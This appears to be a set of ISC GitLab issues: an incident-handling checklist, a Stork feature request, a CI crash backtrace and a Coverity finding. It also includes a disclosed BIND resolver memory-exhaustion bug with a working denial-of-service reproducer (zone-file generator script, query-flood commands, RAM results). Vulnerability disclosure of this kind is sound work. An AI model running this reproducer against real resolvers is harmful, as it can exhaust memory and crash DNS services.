- [x] [:link:][step_customers] **(Support)** Inform customers a fix has been released
### After Public Disclosure
- [x] [:link:][step_postmortem] **(First IM)** [Organize post-mortem meeting and make sure it happens](https://mattermost.isc.org/isc/pl/8bh5bx4betgbxx67zoxfa3zioc)
- [x] [:link:][step_tickets] **(Support)** Close support tickets
- [x] [:link:][step_regression] **(QA)** Merge a regression test reproducing the bug into all affected (and still maintained) branches
[step_deputy]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#pick-a-deputy-incident-manager
[step_respond]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#respond-to-the-bug-reporter
[step_etherpad]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-an-etherpad-for-post-mortem
[step_public_mrs]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#ensure-there-are-no-public-merge-requests-which-inadvertently-disclose-the-issue
[step_assign_cve_id]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#assign-a-cve-identifier
[step_note_cve_info]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#update-this-issue-with-the-assigned-cve-identifier-and-the-cvss-score
[step_versions_affected]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#determine-the-range-of-product-versions-affected-including-the-subscription-edition
[step_workarounds]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#determine-whether-workarounds-for-the-problem-exist
[step_coordinate]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#if-necessary-coordinate-with-other-parties
[step_earliest]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-and-send-out-earliest-notifications
[step_advisory_mr]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-a-merge-request-for-the-security-advisory-and-include-all-readily-available-information-in-it
[step_reproducer_mr]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-private-merge-request-containing-a-system-test-reproducing-the-problem
[step_notify_support]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#notify-support-when-a-reproducer-is-ready
[step_code_analysis]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-detailed-explanation-of-the-code-flow-triggering-the-problem
[step_fix_mr]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-private-merge-request-with-the-fix
[step_review_fix]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#ensure-the-merge-request-with-the-fix-is-reviewed-and-has-no-outstanding-discussions
[step_review_docs]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#review-the-documentation-changes-introduced-by-the-merge-request-with-the-fix
[step_backports]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-backports-of-the-merge-request-addressing-the-problem-for-all-affected-and-still-maintained-branches-of-a-given-product
[step_finish_advisory]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#finish-preparing-the-security-advisory
[step_meta_issue]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-or-update-the-private-issue-containing-links-to-fixes-reproducers-for-all-cves-fixed-in-a-given-release-cycle
[step_changes]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-reserve-a-block-of-changes-placeholders-once-the-complete-set-of-vulnerabilities-fixed-in-a-given-release-cycle-is-determined
[step_merge_fixes]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-the-cve-fixes-in-cve-identifier-order
[step_patches]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-standalone-patch-for-the-last-stable-release-of-each-affected-and-still-maintained-product-branch
[step_asn_releases]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-asn-releases-as-outlined-in-the-release-checklist
[step_send_asn]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-asn-to-eligible-customers
[step_preannouncement]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-send-a-pre-announcement-email-to-the-bind-announce-mailing-list-to-alert-users-that-the-upcoming-release-will-include-security-fixes
[step_verify_asn]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#verify-that-all-asn-eligible-customers-have-received-the-notification-email
[step_check_customers]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#verify-that-any-new-or-reinstated-customers-have-received-the-notification-email
[step_packager_emails]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-notifications-to-os-packagers
[step_clearance]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#grant-support-clearance-to-proceed-with-public-release
[step_publish]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#publish-the-releases-as-outlined-in-the-release-checklist
[step_matrix]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-update-vulnerability-matrix-in-the-knowledge-base
[step_publish_advisory]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bump-document-version-for-the-security-advisory-and-publish-it-in-the-knowledge-base
[step_notifications]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-notification-emails-to-third-parties
[step_mitre]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#advise-mitre-about-the-disclosed-cves
[step_merge_advisory]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-the-security-advisory-merge-request
[step_embargo_end]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#inform-original-reporter-if-external-that-the-security-disclosure-process-is-complete
[step_customers]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#inform-customers-a-fix-has-been-released
[step_postmortem]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#organize-post-mortem-meeting-and-make-sure-it-happens
[step_tickets]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#close-support-tickets
[step_regression]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-a-regression-test-reproducing-the-bug-into-all-affected-and-still-maintained-branches
---
### Summary
This vulnerability results in high memory cache usage for a DNS resolver, even larger than the maximum cache size configured. This happens when the resolver gets around 20,000 requests in several minutes or hours.
For example, with a 250 QPS rate, 1000MB RAM is used after 80 seconds when cache max size is configured to 32MB (the results example is attached to this message).
### BIND version used
BIND 9.16.40 (Extended Support Version) <id:113a865>
### Steps to reproduce
We reproduce NRDelegationAttack with some changes, for more details: https://www.usenix.org/system/files/sec23fall-prepub-309-afek.pdf
1. set the maximum cache size to 32MB:
in named.conf.option (attached example:[named.conf.options](/uploads/bd5dadb4674f120dbe96fd6ca5d060ba/named.conf.options)):
```
options {
...
max-cache-size 32m;
...
}
```
2. Run the resolver: `named -g -c /etc/named.conf`
3. Run psrecord for testing the RAM usage of the resolver: `psrecord NAMED_PID --interval 1 --plot OUTPUT_FILE.png`
4. Option a:
> Request my domain (shoham-shani.online) up to 50,000 dns queries (my authoritative ip address is 74.234.116.29):
`dig shoham{count}.shoham-shani.online. @resolver_ip (count is from 0 to 49,999)` (you can use dnsperf: `dnsperf -d queries.txt -s resolver_ip -v -Q 250`, an example to queries.txt is attached: [queries.txt](/uploads/3a710d8c8416c83ce0469dc7d6b7c92a/queries.txt)
> You can provide us with a test resolver that you want us to attack, and we will perform the attack from our client side at the time we will agree on.
5. option b:
> Create a zone file (example is attached) that has 1500 referrals per one request, you can use this script for that:
with open('zonfile.txt', 'w') as f:
for i in range(1, 50000):
for j in range(0, 1500):
print(f'shoham{i} 8600 IN NS attack{j}.auth{j}.shoham.store.',file=f)
[shoham-shani.online_zonefile_example.txt](/uploads/1cce5b5b5a7118205bde4f199e1c3404/shoham-shani.online_zonefile_example.txt)
> Create another zonefile that answers all shoham{i}.shoham.store. request:
For example: `* IN A 127.0.0.1`
[shoham.store_zonefile_example_copy.txt](/uploads/1fbda03a3a24fdffe95df466d3b031e6/shoham.store_zonefile_example_copy.txt)
> Request 50,000 dns queries as I described in option a.
6. Take a dump of the cache and examine its size: `rndc dumpdb -cache`
7. Stop the resolver service and download the OUTPUT_FILE.png image, examining RAM usage.
note: we checked the bug with 32MB, 64MB and 1GB max-cache-size and with rate of 1,5,10,13,100,250 QPS (all the results are attached)
For 1 QPS I got 440MB RAM used after 8,000 seconds for max-cache-size 32MB
![attack_1_qps](/uploads/4e918e5100db74bae11edf5df8a485bd/attack_1_qps.png)
For 5 QPS I got 840MB RAM used after 4,000 seconds for max-cache-size 32MB
![attack_5_qps](/uploads/c55932c784c402d868af2d306efb6795/attack_5_qps.png)
For 10 QPS I got 840MB RAM used after 2,000 seconds for max-cache-size 32MB
![attack_10_qps](/uploads/d4293561ddc6ba22d8ee203fb2244249/attack_10_qps.png)
For 100 QPS I got 840MB RAM used after 200 seconds for max-cache-size 32MB
![attack_100_qps](/uploads/a18150c0b47480e8ff9d5df5d68afce4/attack_100_qps.png)
For 250 QPS I got 1000MB RAM used after 80 seconds for max-cache-size 32MB
![attack_250_qps](/uploads/116feeb2217d76b84aa3427a0a52db32/attack_250_qps.png)
For 13 QPS I got 1550MB RAM used after 1150 seconds for max-cache-size 1000MB
![attack_1GB_cache](/uploads/bc7a472599212d5b1feed1563ee014bb/attack_1GB_cache.jpeg)
### What is the current *bug* behavior?
1. The cache size expands beyond the limit resulting in an increasing amount of memory being allocated. In addition, if there is no memory available on the machine, the resolver service will crash.
2. A free memory action is not performed for the referral list buffer, which results in an increase in memory allocation for buffers (dns_rdataslab_fromrdataset function in line 272 of the rdataslab.c file).
3. It seems the cache size calculation does not consider authoritative nameservers' refferal answers, although they are stored in the cache.
4. High and low watermarks are set incorrectly to 0, which means the resolver is unaware that the memory usage exceeds the maximum level and does not reduce it.
### What is the expected *correct* behavior?
1. The cache size should be the maximum size we configured.
2. There should be a free memory action to the buffer (rawbuf in rdataslab.c file)
3. In order to calculate cache size, it is necessary to take into account referral list and perform a deletion when the cache exceeds the configured limit.
### Relevant configuration files
configuration file:
> named.conf.options
zonefiles:
> shoham-shani.online_zonefile_example.txt
> shoham.store_zonefile_example copy.txt
### Relevant logs and/or screenshots
Tests are attached
### Possible fixes
1. Free the buffer:
```
free_rawbuf:
isc_mem_put(mctx, rawbuf, buflen);
```
please add the following to this issue:
Yehuda Afek, yehuda.afek@gmail.com /cc @afek
Anat Bremler-Barr, anat.bremlerbarr@gmail.com /cc @anat_bremler_barr
Yuval Shavitt, shavitt@eng.tau.ac.ilJune 2023 (9.16.42, 9.16.42-S1, 9.18.16, 9.18.16-S1, 9.19.14)Tom KrizekTom Krizekhttps://gitlab.isc.org/isc-projects/stork/-/issues/1033Persistent database of dhcp clients seen on the network2024-02-01T14:51:36ZVicky Riskvicky@isc.orgPersistent database of dhcp clients seen on the networkThis is a feature request for an endpoint database in Stork, of all the clients serviced by any of the Kea servers managed by Stork.
Stork users would like to be able to store, view and update client information that persists after the ...This is a feature request for an endpoint database in Stork, of all the clients serviced by any of the Kea servers managed by Stork.
Stork users would like to be able to store, view and update client information that persists after the lease may have been released. It would be useful to maintain a database of client information that could associate networked client identity with other administrative parameters that a help desk or network admin function might need.
Possible use cases
- identify the end user associated with an ip address or subnet of addresses, in order to send email notification about upcoming maintenance that might impact that subnet
- identify the date a client associated with a particular DNS host name was last seen on the network, to help in identifying abandoned hostnames in the DNS.
- identify the end user associated with a device for which there is an unused host reservation, in order to follow up off-line and possibly 'reclaim' that HR
- identifying all the printers scattered across multiple subnets, in order to move them all to a separate subnet
- determine the physical location for a client device that is misbehaving on the network in order to find it and remove it, update, or reboot it
- find all devices associated with an end user who has recently left the company, to determine whether any of those devices are still responding/renewing on the network
- identify the phone number associated with an ip phone, to update a directory listing (this is probably not the ideal way to do this however)
- locating all the users with client devices of a particular vendor and device type in case of an urgent security update (this is probably not the ideal way to do this however)
Possible db fields
- client-identifying parameters from the DHCP interaction (MAC, DUID, etc)
- host reservation information (if there is an associated HR), including DNS name, boot file location, user-context, perhaps any other options on the HR
- IP address assigned and date/time it was last renewed.
- [device type](https://gitlab.isc.org/isc-projects/stork/-/issues/161), such as Android phone, iPhone, Windows laptop, HP Printer, etc (eventually we might want to try populating this information using client [fingerprinting](https://gitlab.isc.org/isc-projects/stork/-/issues/777) from options provided in requests)
- vendor/manufacturer (e.g. Apple, Samsung, HP etc). This could eventually be populated by fingerprinting.
- geographic location (this could be a city/office such as Baltimore, MD, or it could be some other code such as BLDG21-3rdFlr. We should probably permit a wide range of possible end user formats/strings for this.
- any 'user context' data associated with the client. Other than host reservations, is there any other way that user context could be associated with a client? There could be user context associated with the subnet that the client most recently received a lease from, would we want to associate that with the client??
- end user contact information fields, such as fname, lname, userID, email address, phone extension, mobile and administrative affiliation (e.g. department). (this might be in a different linked table, so a user could be associated with multiple devices? Also, that would facilitate importing a table of end user contact data.)
Other features
- it would be very cool if this database of endpoints could be created from lease data, but without removing endpoints when the leases failed to renew
- it would be ideal if the information could be updated when a new lease is assigned, if the endpoint is found in the database with a prior lease. So, for example, the ip address and some option data might be updated, but the rest of the information, much of which would have been administratively entered, would persist on the record
- some organizations might have a table of endpoints that they would want to import, in csv format, for instance. It would also be useful to be able to export this information for import into some other client inventory system
- this should be different from the Lease db in that Kea does not need to maintain it in real time! Nobody would want this if updates were blocking on assigning or renewing leases, or if using it put a big performance strain on Kea. It is fine if updates to this database are not acknowledged to Kea, and Kea definitely should not wait for responses from the endpoint db. Possibly this could use the 3rd lease data stream from HA as an input?
- Some of the above may be features that make more sense as use cases for a network documentation system, such as NetBox. We are not trying to replace the network documentation, but to provide documentation at a more granular level... So we might want to investigate what a NetBox might offer for endpoint tracking first, and possible somehow leverage that ...
- The Stork admin would likely want to customize which fields are used and displayed in the GUI, as many enterprises would not populate all of the fields.
- It might be necessary for the Stork admin to identify *which* endpoint identifier should be used as the unique index field, so that updates are possible.
We haven't discussed the GUI features that might leverage this database, but it does seem to be desirable to permit record deletion, or at least mark them as historical/deprecated/inactive or something. Otherwise this db would grow and grow like an unrotated log file...backloghttps://gitlab.isc.org/isc-projects/bind9/-/issues/4054Reference counting failure "REQUIRE(ptr != ((void *)0))" in db.c2023-05-17T13:16:28ZMichal NowakReference counting failure "REQUIRE(ptr != ((void *)0))" in db.cJob [#3368111](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3368111) failed for 9b28225611f34dac71bd3885e15ad554ccb60a97.
`ns3` of the `inline` test hit a reference counting issue `REQUIRE(ptr != ((void *)0))` in `db.c`.
```
D:/bui...Job [#3368111](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3368111) failed for 9b28225611f34dac71bd3885e15ad554ccb60a97.
`ns3` of the `inline` test hit a reference counting issue `REQUIRE(ptr != ((void *)0))` in `db.c`.
```
D:/builds/isc-projects/bind9/bin/tests/system/inline:Core was generated by `/builds/isc-projects/bind9/bin/named/.libs/named -D inline-ns3 -X named.lock -m'.
D:/builds/isc-projects/bind9/bin/tests/system/inline:Program terminated with signal SIGABRT, Aborted.
D:/builds/isc-projects/bind9/bin/tests/system/inline:#0 __pthread_kill_implementation (threadid=<optimized out>, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44
D:/builds/isc-projects/bind9/bin/tests/system/inline:[Current thread is 1 (Thread 0x7f6719e53680 (LWP 1823))]
D:/builds/isc-projects/bind9/bin/tests/system/inline:#0 __pthread_kill_implementation (threadid=<optimized out>, signo=signo@entry=6, no_tid=no_tid@entry=0) at ./nptl/pthread_kill.c:44
D:/builds/isc-projects/bind9/bin/tests/system/inline:#1 0x00007f67205f5d2f in __pthread_kill_internal (signo=6, threadid=<optimized out>) at ./nptl/pthread_kill.c:78
D:/builds/isc-projects/bind9/bin/tests/system/inline:#2 0x00007f67205a6ef2 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
D:/builds/isc-projects/bind9/bin/tests/system/inline:#3 0x00007f6720591472 in __GI_abort () at ./stdlib/abort.c:79
D:/builds/isc-projects/bind9/bin/tests/system/inline:#4 0x000055a4e5ebb96a in assertion_failed (file=<optimized out>, line=150, type=isc_assertiontype_require, cond=0x7f67211a7b8d "ptr != ((void *)0)") at main.c:225
D:/builds/isc-projects/bind9/bin/tests/system/inline:#5 0x00007f672121f29a in isc_assertion_failed (file=file@entry=0x7f672118d510 "db.c", line=line@entry=150, type=type@entry=isc_assertiontype_require, cond=cond@entry=0x7f67211a7b8d "ptr != ((void *)0)") at assertions.c:48
D:/builds/isc-projects/bind9/bin/tests/system/inline:#6 0x00007f6721011801 in dns_db_ref (ptr=<optimized out>) at db.c:150
D:/builds/isc-projects/bind9/bin/tests/system/inline:#7 0x00007f67210118ad in dns_db_attach (ptr=0x0, ptrp=ptrp@entry=0x7f6719e51f90) at db.c:150
D:/builds/isc-projects/bind9/bin/tests/system/inline:#8 0x00007f6721169559 in zone_resigninc (zone=zone@entry=0x55a4e64d2710) at zone.c:6828
D:/builds/isc-projects/bind9/bin/tests/system/inline:#9 0x00007f672117214f in zone_maintenance (zone=<optimized out>) at zone.c:11100
D:/builds/isc-projects/bind9/bin/tests/system/inline:#10 0x00007f67211750e6 in zone_timer (arg=<optimized out>) at zone.c:14634
D:/builds/isc-projects/bind9/bin/tests/system/inline:#11 0x00007f672124776e in timer_cb (handle=<optimized out>) at timer.c:111
D:/builds/isc-projects/bind9/bin/tests/system/inline:#12 0x00007f6720a35cbe in ?? () from /lib/x86_64-linux-gnu/libuv.so.1
D:/builds/isc-projects/bind9/bin/tests/system/inline:#13 0x00007f6720a3999f in uv_run () from /lib/x86_64-linux-gnu/libuv.so.1
D:/builds/isc-projects/bind9/bin/tests/system/inline:#14 0x00007f6721234748 in loop_thread (arg=arg@entry=0x55a4e613b4b8) at loop.c:311
D:/builds/isc-projects/bind9/bin/tests/system/inline:#15 0x00007f6721246012 in thread_body (wrap=0x55a4e61782f0) at thread.c:89
D:/builds/isc-projects/bind9/bin/tests/system/inline:#16 thread_run (wrap=0x55a4e61782f0) at thread.c:104
D:/builds/isc-projects/bind9/bin/tests/system/inline:#17 0x00007f67205f3fd4 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
D:/builds/isc-projects/bind9/bin/tests/system/inline:#18 0x00007f6720673820 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:100
```
It seems that `named` crashed shortly before the `testing that inline signing works with inactive ZSK and active KSK` test.
CI artifacts were saved in the job.June 2023 (9.16.42, 9.16.42-S1, 9.18.16, 9.18.16-S1, 9.19.14)Arаm SаrgsyаnArаm Sаrgsyаnhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4053CID 453470: Use after free in lib/ns/client.c2023-06-14T10:19:31ZMichal NowakCID 453470: Use after free in lib/ns/client.cCoverity Scan claims use after free in `lib/ns/client.c`.
```c
1. Switch case value ns_cookiealg_aes.
1146 switch (client->manager->sctx->cookiealg) {
1147 case ns_cookiealg_siphash24: {
1148 unsigned ch...Coverity Scan claims use after free in `lib/ns/client.c`.
```c
1. Switch case value ns_cookiealg_aes.
1146 switch (client->manager->sctx->cookiealg) {
1147 case ns_cookiealg_siphash24: {
1148 unsigned char input[16 + 16] ISC_NONSTRING = { 0 };
1149 size_t inputlen = 0;
1150 isc_netaddr_t netaddr;
1151 unsigned char *cp;
1152
1153 cp = isc_buffer_used(buf);
1154 isc_buffer_putmem(buf, client->cookie, 8);
1155 isc_buffer_putuint8(buf, NS_COOKIE_VERSION_1);
1156 isc_buffer_putuint8(buf, 0); /* Reserved */
1157 isc_buffer_putuint16(buf, 0); /* Reserved */
1158 isc_buffer_putuint32(buf, when);
1159
CID 453470 (2) (#1-3 of 4): Use after free (USE_AFTER_FREE) [select issue]
1160 memmove(input, cp, 16);
1161
1162 isc_netaddr_fromsockaddr(&netaddr, &client->peeraddr);
1163 switch (netaddr.family) {
1164 case AF_INET:
1165 cp = (unsigned char *)&netaddr.type.in;
1166 memmove(input + 16, cp, 4);
1167 inputlen = 20;
1168 break;
1169 case AF_INET6:
1170 cp = (unsigned char *)&netaddr.type.in6;
1171 memmove(input + 16, cp, 16);
1172 inputlen = 32;
1173 break;
1174 default:
1175 UNREACHABLE();
1176 }
1177
1178 isc_siphash24(secret, input, inputlen, true, digest);
1179 isc_buffer_putmem(buf, digest, 8);
1180 break;
1181 }
1182 case ns_cookiealg_aes: {
1183 unsigned char input[4 + 4 + 16] ISC_NONSTRING = { 0 };
1184 isc_netaddr_t netaddr;
1185 unsigned char *cp;
1186 unsigned int i;
1187
2. assign: Assigning: cp = (void *)((unsigned char *)buf->base + buf->used).
1188 cp = isc_buffer_used(buf);
1189 isc_buffer_putmem(buf, client->cookie, 8);
1190 isc_buffer_putuint32(buf, nonce);
3. freed_arg: isc_buffer_putuint32 frees buf->base. [show details]
1191 isc_buffer_putuint32(buf, when);
CID 453470 (#2-4 of 4): Use after free (USE_AFTER_FREE)
deref_arg: Calling memmove dereferences freed pointer cp. [Note: The source code implementation of the function has been overridden by a builtin model.]
1192 memmove(input, cp, 16);
```
Note that it might not be a new issue, but something the new Coverity Scan 2022.12 detected.June 2023 (9.16.42, 9.16.42-S1, 9.18.16, 9.18.16-S1, 9.19.14)